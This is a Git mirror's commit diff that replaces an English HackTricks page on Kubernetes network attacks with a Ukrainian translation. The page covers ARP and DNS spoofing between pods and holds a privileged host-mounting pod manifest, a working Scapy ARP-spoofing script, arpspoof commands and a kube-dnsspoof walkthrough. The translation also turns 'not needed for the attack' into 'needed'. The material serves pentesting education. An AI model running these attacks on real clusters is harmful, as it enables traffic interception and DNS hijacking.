gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-14 13:56:30 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

Browse Source
This commit is contained in:
Translator
2024-12-31 19:09:02 +00:00
parent 7770a50092
commit 4ecda9fe96
244 changed files with 8478 additions and 11318 deletions
Download Patch File Download Diff File Expand all files Collapse all files

260
src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md
View File

@@ -4,92 +4,91 @@
## Introduction
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між **усіма контейнерами, що знаходяться на одному вузлі**. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до **Layer 2** (Ethernet). Внаслідок цього, така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для **зловмисного контейнера** виконати **ARP-спуфінг-атаку** проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
ARP-спуфінг-атаки включають **зловмисника, який надсилає підроблені ARP** (протокол вирішення адрес) повідомлення через локальну мережу. Це призводить до зв'язування **MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі**. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Layer 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки.
In the scenario 4 machines are going to be created:
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
- **ubuntu-victim**: **Victim** machine in kube-system namespace
- **mysql**: **Victim** machine in default namespace
У сценарії буде створено 4 машини:
- ubuntu-pe: Привілейована машина для втечі до вузла та перевірки метрик (необхідна для атаки)
- **ubuntu-attack**: **Зловмисний** контейнер у стандартному просторі імен
- **ubuntu-victim**: **Жертва** машина в просторі імен kube-system
- **mysql**: **Жертва** машина в стандартному просторі імен
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```
```bash
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Основи мережевої взаємодії Kubernetes
## Basic Kubernetes Networking
If you want more details about the networking topics introduced here, go to the references.
Якщо ви хочете більше деталей про мережеві теми, представлені тут, зверніться до посилань.
### ARP
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
Загалом, **мережеве з'єднання pod-to-pod всередині вузла** доступне через **міст**, який з'єднує всі поди. Цей міст називається “**cbr0**”. (Деякі мережеві плагіни встановлять свій власний міст.) **cbr0 також може обробляти ARP** (протокол розв'язання адрес). Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP.
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
Цей факт означає, що за замовчуванням **кожен под, що працює в одному вузлі**, зможе **спілкуватися** з будь-яким іншим подом в тому ж вузлі (незалежно від простору імен) на рівні ethernet (рівень 2).
> [!WARNING]
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
> Тому можливі A**RP Spoofing атаки між подами в одному вузлі.**
### DNS
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
У середовищах kubernetes ви зазвичай знайдете 1 (або більше) **DNS-сервісів, що працюють** зазвичай у просторі імен kube-system:
```bash
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
У попередній інформації ви можете побачити щось цікаве, **IP сервісу** - **10.96.0.10**, але **IP поду**, що виконує сервіс, - **172.17.0.2.**
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
If you check the DNS address inside any pod you will find something like this:
Якщо ви перевірите DNS-адресу всередині будь-якого поду, ви знайдете щось подібне:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Однак, под **не знає**, як дістатися до цієї **адреси**, оскільки **діапазон подів** у цьому випадку становить 172.17.0.10/26.
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
Тому под надішле **DNS запити на адресу 10.96.0.10**, яка буде **перекладена** cbr0 **на** **172.17.0.2**.
> [!WARNING]
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
> Це означає, що **DNS запит** пода **завжди** буде йти до **мосту** для **перекладу** **IP-адреси сервісу на IP-адресу кінцевої точки**, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под.
>
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
> Знаючи це, і знаючи, що **ARP атаки можливі**, **под** у вузлі зможе **перехопити трафік** між **кожним подом** у **підмережі** та **мостом** і **модифікувати** **DNS відповіді** від DNS сервера (**DNS Спуфінг**).
>
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
> Більше того, якщо **DNS сервер** знаходиться в **тому ж вузлі, що й атакуючий**, атакуючий може **перехопити всі DNS запити** будь-якого пода в кластері (між DNS сервером і мостом) і модифікувати відповіді.
## ARP Spoofing in pods in the same Node
## ARP Спуфінг у подах в тому ж вузлі
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
Наша мета - **викрасти принаймні комунікацію від ubuntu-victim до mysql**.
### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
@@ -187,75 +180,69 @@ ngrep -d eth0
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
As it was already mentioned, if you **compromise a pod in the same node of the DNS server pod**, you can **MitM** with **ARPSpoofing** the **bridge and the DNS** pod and **modify all the DNS responses**.
Як вже згадувалося, якщо ви **зламали под у тому ж вузлі, що й под DNS-сервера**, ви можете **MitM** з **ARPSpoofing** **містком** і **подом DNS** та **модифікувати всі DNS-відповіді**.
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
У вас є дійсно гарний **інструмент** і **посібник** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
У нашому сценарії, **завантажте** **інструмент** у поді атакуючого та створіть **файл з назвою `hosts`** з **доменами**, які ви хочете **спуфити**, наприклад:
```
cat hosts
google.com. 1.1.1.1
```
Perform the attack to the ubuntu-victim machine:
Виконайте атаку на машину ubuntu-victim:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -272,15 +259,14 @@ dig google.com
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
> Якщо ви спробуєте створити свій власний скрипт для DNS спуфінгу, якщо ви **просто змініть DNS-відповідь**, це **не** буде **працювати**, тому що **відповідь** буде мати **src IP** адресу **зловмисного** **под** і **не буде** **прийнята**.\
> Вам потрібно згенерувати **новий DNS-пакет** з **src IP** DNS, куди жертва надсилає DNS-запит (це щось на зразок 172.16.0.2, а не 10.96.0.10, це IP-адреса K8s DNS-сервісу, а не IP-адреса DNS-сервера, більше про це в вступі).
## Capturing Traffic
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\
It will install agents in the selected pods and gather their traffic information and show you in a web server. However, you will need high K8s permissions for this (and it's not very stealthy).
Інструмент [**Mizu**](https://github.com/up9inc/mizu) є простим, але потужним API **переглядачем трафіку для Kubernetes**, що дозволяє вам **переглядати всю API-комунікацію** між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.\
Він встановить агенти в обраних подах і збиратиме їх інформацію про трафік, а потім покаже вам це на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже непомітно).
## References
@@ -288,7 +274,3 @@ It will install agents in the selected pods and gather their traffic information
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
{{#include ../../banners/hacktricks-training.md}}